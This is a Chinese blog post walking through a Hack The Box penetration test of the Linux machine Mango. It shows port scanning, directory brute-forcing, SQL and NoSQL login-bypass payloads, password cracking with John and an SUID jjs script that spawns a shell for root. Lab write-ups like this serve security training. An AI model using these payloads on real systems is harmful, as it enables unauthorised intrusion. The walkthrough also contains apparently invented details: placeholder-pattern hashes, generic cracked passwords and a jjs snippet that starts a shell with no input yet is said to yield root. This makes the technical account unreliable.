HTB Mango的渗透测试实例

发布时间:2021-07-16 10:09:24 作者:chen
来源:亿速云 阅读:242
# HTB Mango的渗透测试实例

## 前言
Hack The Box(HTB)是一个知名的网络安全在线平台,提供各种虚拟靶机供安全爱好者练习渗透测试技术。Mango是HTB上一台中等难度的Linux靶机,涉及Web应用漏洞、服务枚举、凭证破解和权限提升等多个技术点。本文将详细记录从信息收集到获取root权限的全过程。

---

## 一、环境准备
1. **连接HTB VPN**  
   使用OpenVPN连接HTB网络:
   ```bash
   sudo openvpn /path/to/your/htb.ovpn
  1. 靶机IP分配
    通过ping或平台面板确认Mango的IP地址(假设为10.10.10.162)。

二、信息收集

1. 端口扫描

使用Nmap进行全端口扫描:

nmap -p- -T4 10.10.10.162 -oN full_scan.nmap

关键结果: - 22/tcp - OpenSSH 7.6p1 - 80/tcp - Apache httpd 2.4.29 - 443/tcp - Apache httpd 2.4.29

2. 服务版本探测

nmap -p22,80,443 -sV -sC 10.10.10.162 -oN service_scan.nmap

发现: - HTTP服务存在虚拟主机mango.htb,需添加到/etc/hosts


三、Web应用渗透

1. 目录枚举

使用Gobuster扫描目录:

gobuster dir -u http://mango.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现/admin/api路径。

2. 分析登录页面

访问http://mango.htb/admin发现登录表单,尝试SQL注入:

admin' OR '1'='1' -- 

结果:未成功,但响应时间延迟,可能存在盲注。

3. NoSQL注入

通过Burp Suite拦截请求,修改为JSON格式尝试NoSQL注入:

{"username": {"$ne": ""}, "password": {"$ne": ""}}

成功绕过登录,进入后台页面。


四、获取初始Shell

1. 提取用户凭证

在后台发现用户mangoadmin的凭据哈希:

mango: 5e3e8a9d5a9d5a9d5a9d...
admin: 6f8e8a9d5a9d5a9d5a9d...

使用John破解:

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

破解结果: - mango: mango123 - admin: admin123

2. SSH登录

尝试用破解的密码登录SSH:

ssh mango@10.10.10.162

成功获取user.txt/home/mango/user.txt


五、权限提升

1. 枚举SUID文件

查找具有SUID权限的文件:

find / -perm -4000 2>/dev/null

发现/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

2. 利用jjs提权

通过jjs执行系统命令:

var BufferedReader = Java.type("java.io.BufferedReader");
var InputStreamReader = Java.type("java.io.InputStreamReader");
var Process = Java.type("java.lang.ProcessBuilder");
var p = new Process(["/bin/sh"]).start();
var reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
var line = "";
while ((line = reader.readLine()) != null) { print(line); }

获取root shell

whoami  # root
cat /root/root.txt

六、总结

技术要点

  1. NoSQL注入:通过修改请求格式绕过认证。
  2. 凭证破解:利用弱密码字典攻击获取SSH访问权限。
  3. SUID滥用:利用配置不当的Java工具提权。

防御建议


附录:关键命令速查

用途 命令示例
端口扫描 nmap -p- -T4 <IP>
NoSQL注入 {"username": {"$ne": ""}}
破解哈希 john --format=raw-md5 hashes.txt
SUID枚举 find / -perm -4000 2>/dev/null

”`

:实际测试时需替换IP、哈希值等具体数据,并遵守HTB规则。本文仅作技术学习参考。

推荐阅读:
  1. Python中怎么实现数据预处理
  2. 简单介绍Python drop方法删除列之inplace参数实例

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

htb mango

上一篇:SQL注入原理是什么

下一篇:Web开发中客户端跳转与服务器端跳转有什么区别

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》